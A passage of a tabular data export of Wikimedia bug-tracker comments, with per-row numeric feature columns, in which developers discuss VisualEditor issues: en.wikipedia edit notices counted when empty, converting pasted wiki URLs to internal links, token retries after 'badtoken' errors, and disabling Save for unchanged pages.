+201200,VisualEditor: Deal with en.wikipedia.org's edit notice system,*** Bug 61335 has been marked as a duplicate of this bug. ***,,,1394490038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+201191,VisualEditor: Deal with en.wikipedia.org's edit notice system,I've proposed a client-side workaround at [[MediaWiki talk:Common.css#Edit notices and VisualEditor]].,,,1392880263,,PHID-USER-sxpswmchfwxkuo2wszeo,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+201184,VisualEditor: Deal with en.wikipedia.org's edit notice system,Bug 55951 is possibly a duplicate?,,,1392836682,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+201179,VisualEditor: Deal with en.wikipedia.org's edit notice system,Regression; this is happening again on en.wp.,,,1387305797,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+201173,VisualEditor: Deal with en.wikipedia.org's edit notice system,Tagging with deploy-train cycle.,,,1357578650,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+201166,VisualEditor: Deal with en.wikipedia.org's edit notice system,*** Bug 43460 has been marked as a duplicate of this bug. ***,,,1356713507,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-27,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+201161,VisualEditor: Deal with en.wikipedia.org's edit notice system,"(In reply to comment #6)
+> Change-Id: I65447da8b88a9bae9c24ff155544ff66b3fe9100
+Merged by Trevor",,,1355360215,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+201158,VisualEditor: Deal with en.wikipedia.org's edit notice system,Change-Id: I65447da8b88a9bae9c24ff155544ff66b3fe9100,,,1355358427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+201153,VisualEditor: Deal with en.wikipedia.org's edit notice system,"The only thing we need in core for en.wikipedia to drop this (assuming they still actively want to have these red links) is to show a red link to where the edit notice can be edited/created. Once that is in core, the enwiki's template doesn't have to generate it and thus the actual edit notice will be empty.
+
+As a workaround, I'll work on implementing a small jQuery plugin to calculate the visible text in an element. Then we can simply iterate over the edit notices in VE and ignore the ones with no visible text.",,,1355345877,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+201144,VisualEditor: Deal with en.wikipedia.org's edit notice system,"So, as a way around this, could we have a hacky exception? Or should we push upstream and suggest that core editnotices are adjusted so that every wiki has enwiki's system? (Presumably this would need a new Editnotice: namespace if they want general availability.)",,,1355339876,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0
+201140,VisualEditor: Deal with en.wikipedia.org's edit notice system,"It counts 2 because there are 2. One from VisualEditor (the default alpha-warning) and one from en.wikipedia.org.
+
+English Wikipedia has this self-invented wikitext-organised edit notice system. Long story short, it means there is never not a notice. It always shows something.
+
+In this case the edit notice that it loads is the following html:
+
+<div id=""editnotice-area"" class=""editnotice-area"" style=""clear: both; width: 100%;""><div class=""editnotice-namespace"" style=""width: 100%;"">  </div><div class=""editnotice-link editnotice-redlink sysop-show accountcreator-show"" style=""clear: both; float: right; margin: 0px 0.8em; padding: 0; line-height: 1em; display: none;""> <small><a href=""/w/index.php?title=Template:Editnotices/Page/You_Can%27t_Make_a_Heart_Love_Somebody&amp;action=edit&amp;redlink=1"" class=""new"" title=""Template:Editnotices/Page/You Can't Make a Heart Love Somebody (page does not exist)"">Page notice</a></small> </div><div style=""clear: both;""></div> </div>
+
+English Wikipedia uses Template:Editnotices to maintain their notices (embedded from a one-liner in the MediaWiki namespace) since they don't want to restrict it to sysops. Aside from that they want to advertise this template and make it easy to find. So when there is no edit notice, the template outputs a link to create one. This is not created by MediaWiki nor by VisualEditor.
+
+However it isn't a mini-notice with a red link for most users. It is only visible to sysops and account creators (via the CSS class sysop-show and accountcreator-show), so for regular users it is just empty.",,,1355339266,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,0,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+201133,VisualEditor: Deal with en.wikipedia.org's edit notice system,"It looks to me like it counts the edit notice as such even when none is present?
+
+Separately but relatedly, it would probably be nicer to have features such as adding edit notices in the proposed metadata flyout, as opposed to showing a red link notice to users with the right to create notices.",,,1355336986,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+201126,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Yes, I just came to report the same. Confirming that VisualEditor on the English Wikipedia currently states there are two notices when only one is visible.",,,1355327320,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+44986,Automatically convert external links to local resources to local wiki links if possible,"Like this: https://www.mediawiki.org/w/index.php?title=VisualEditor:Test&diff=615802&oldid=615801
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1355298420,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-bbycowhblqb7wl5ri2sh,task_description,open,True,c1,1,False,False,,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+1611911,Automatically convert external links to local resources to local wiki links if possible,,,,1604534063,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,383,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1611905,Automatically convert external links to local resources to local wiki links if possible,,,,1604532057,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,383,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+199594,Automatically convert external links to local resources to local wiki links if possible,*** Bug 57019 has been marked as a duplicate of this bug. ***,,,1397764105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+199589,Automatically convert external links to local resources to local wiki links if possible,"(In reply to Liangent from comment #11)
+> (In reply to James Forrester from comment #10)
+> > No, all edits - this is the same as [http://fr.wikipedia.org/wiki/Foo Bar]
+> > being automatically converted by Parsoid to [[:fr:Foo|Bar]] which it already
+> > does.
+> 
+> I feel there're still some deliberate use cases of external local links, for
+> example, to prevent Echo notifications (see [[Template:Noping]]).
+
+Users making hacks around bugs in Echo sounds like something we should fix in Echo so users don't have to do it, though. :-)",,,1397756178,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+199584,Automatically convert external links to local resources to local wiki links if possible,"(In reply to James Forrester from comment #10)
+> No, all edits - this is the same as [http://fr.wikipedia.org/wiki/Foo Bar]
+> being automatically converted by Parsoid to [[:fr:Foo|Bar]] which it already
+> does.
+
+I feel there're still some deliberate use cases of external local links, for example, to prevent Echo notifications (see [[Template:Noping]]).",,,1397743062,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,41,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+199577,Automatically convert external links to local resources to local wiki links if possible,"(In reply to Liangent from comment #9)
+> (In reply to James Forrester from comment #8)
+> > Feels like this has consensus that we should convert newly-added
+> > [http://en.wikipedia.org/wiki/foo] links to [[foo]] automatically; I think
+> > that this should be done inside Parsoid, so moving there.
+> 
+> But only for VisualEditor edits? if Parsoid is going to be used in other
+> stuff eg. bots.
+
+No, all edits - this is the same as [http://fr.wikipedia.org/wiki/Foo Bar] being automatically converted by Parsoid to [[:fr:Foo|Bar]] which it already does.",,,1397742161,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+199568,Automatically convert external links to local resources to local wiki links if possible,"(In reply to James Forrester from comment #8)
+> Feels like this has consensus that we should convert newly-added
+> [http://en.wikipedia.org/wiki/foo] links to [[foo]] automatically; I think
+> that this should be done inside Parsoid, so moving there.
+
+But only for VisualEditor edits? if Parsoid is going to be used in other stuff eg. bots.",,,1397730019,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,41,,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+199561,Automatically convert external links to local resources to local wiki links if possible,"Feels like this has consensus that we should convert newly-added [http://en.wikipedia.org/wiki/foo] links to [[foo]] automatically; I think that this should be done inside Parsoid, so moving there.",,,1397673447,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+199556,Automatically convert external links to local resources to local wiki links if possible,"Also, when users create a new article and want to link back to it immediately, they end up attaching ""?venotify=created"" to the external link they're copy/pasting, and this is something VE will need to strip before converting the URL to a wikilink.",,,1395682999,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,38,,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+199550,Automatically convert external links to local resources to local wiki links if possible,"I think maybe it should just recognize when a url points to an existing Wikipedia article, and offer that as an internal link option, similarly to the way that you get an internal link option for the article titled [[http://en.wikipedia.org/wiki/foo]]. That latter behavior represents a tiny edge case, though, as there are very few articles that start with http://. If there is ever going to be some sort of 'advanced' mode for links, then options to use external links to existing articles and internal links to articles starting http* should be hidden away there. In the vast majority of cases, users intend to create internal links if the article exists, and do not intend to create internal links to pages starting http*.
+
+Incidentally, we want to add the same functionality to the EducationProgram extension for when users paste in a url to the article form: bug 44397.",,,1377277696,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,7,,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+199545,Automatically convert external links to local resources to local wiki links if possible,"I'd go for ""prevent"". (Also, it would be really nice to have it soon).",,,1377094454,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+199539,Automatically convert external links to local resources to local wiki links if possible,"Seeing a few of these in the feed. Warn, perhaps? (In the link inspector dialog.)",,,1372610363,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+199535,Automatically convert external links to local resources to local wiki links if possible,"(In reply to comment #2)
+> Sometimes it is done deliberately, e.g. at
+> https://en.wikipedia.org/w/index.php?title=English_Wikipedia&oldid=558847653
+> . 
+> In that case, they do use olids (permalinks), which is a way you could
+> distinguish if you wanted to do the auto-replacement.
+
+We could do an always-replace for [http://foo/wiki/* $1], but that feels like a fragile regexp. :-(",,,1371420809,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1
+199532,Automatically convert external links to local resources to local wiki links if possible,"Sometimes it is done deliberately, e.g. at https://en.wikipedia.org/w/index.php?title=English_Wikipedia&oldid=558847653 .  In that case, they do use olids (permalinks), which is a way you could distinguish if you wanted to do the auto-replacement.",,,1371258257,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+199528,Automatically convert external links to local resources to local wiki links if possible,"Ask, or just silently replace? But then it will 'dirty diff' if this has been done deliberately. Also, to do this, link inspector will need to have a concept of canonical URLs and optional other URLs for this context, which is messy as hell.",,,1355343159,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,0
+44984,VisualEditor: Retries when badtoken happened should request new tokens,"When I'm using VisualEditor, session failed for unknown reason. The VisualEditor then keep asking whether I want to try again but it always tries with the old token and error ""badtoken"" keeps coming.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1355292720,1369080457.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-kgk6kmve6lavlyhdrvmv,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+199442,VisualEditor: Retries when badtoken happened should request new tokens,Merged and will go out with wmf5.,,,1369080457,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kgk6kmve6lavlyhdrvmv,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+199440,VisualEditor: Retries when badtoken happened should request new tokens,Related URL: https://gerrit.wikimedia.org/r/64492 (Gerrit Change Ib43d1938ffa24bc8d1dc76a300e16e486dabd928),,,1368896118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kgk6kmve6lavlyhdrvmv,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44939,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Right now, the Save button starts disabled, but when the transaction depth is non-zero it's enabled. This means that two actions that reverse each other (rather than being formally undone) let the user make a 'null edit', which MW then silently accepts.
+
+Ideally, the Save/Create button should be disabled if dm state is identical to page when it was loaded (except for the special-case of oldid pages, where it should always be enabled). Roan suggests a string comparison of the current and original HTML is the least-bad option, given the lack of hash functions in JavaScript.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=43270",Medium,50.0,1355199480,1363370183.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-m3nqsseg45psoqx36exc,task_description,resolved,True,c1,1,True,False,True,-29,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0
+196874,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,I'd suggest that once that change has been merged this bug can be closed.,,,1363363213,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+196867,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Fixed the zero-history case, and the onbeforeunload issue: https://gerrit.wikimedia.org/r/#/c/53988/",,,1363363142,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+196859,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"After some more investigation is appears that comparing html might not do the trick. Doing something trivial like typing and deleting may not leave the html in it's original state. We currently have change markers (although these are queued up for deletion), but also hidden things like pawn characters and maybe other things in the future.
+
+We can still implement the transaction stack check which we don't have at the moment, but telling you if there is a non-zero diff may have to be a job for Parsoid.",,,1363281542,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+196852,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Agree on the window.onbeforeunload.
+
+Not totally enamoured with the idea of a modal alert telling users off for behaviour that is currently silently failing (in core wikitext editor, if you make a null save it'll look like it saved, but no new entry in the history log).
+
